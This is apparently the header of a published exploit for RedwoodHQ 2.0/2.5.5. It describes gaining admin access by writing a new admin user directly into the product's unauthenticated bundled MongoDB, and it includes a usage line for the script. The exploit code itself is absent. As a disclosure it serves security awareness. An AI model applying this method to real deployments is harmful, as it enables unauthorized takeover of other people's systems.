# Exploit Title:   RedxploitHQ (Create Admin User by missing authentication on db)
# Date: 	       14-june-2019
# Exploit Author:  EthicalHCOP
# Version: 	       2.0 / 2.5.5
# Vendor Homepage: https://redwoodhq.com/
# Software Link:   https://redwoodhq.com/redwood-download/
# Tested on: 	   Ubuntu and Windows.
# Twitter:	       @EthicalHcop
# Usage:           python3 RedxploitHQ.py -H mongo_host -P mongo_port
# Description: 	   Use RedxploitHQ to create a new Admin user into redwoodhq and get all the functions on the framework
# 
# RedwoodHQ doesn't require that MongoDB is installed on the machine because this tool have  her own Mongo Launcher. 
# The problem is that this vendor database doesn't require any authentication to read her data. 
# So, I use the same syntax that use the Framework to create my admin user on the database and access into the tool
# 
# POC:             https://youtu.be/MK9AvoJDtxY
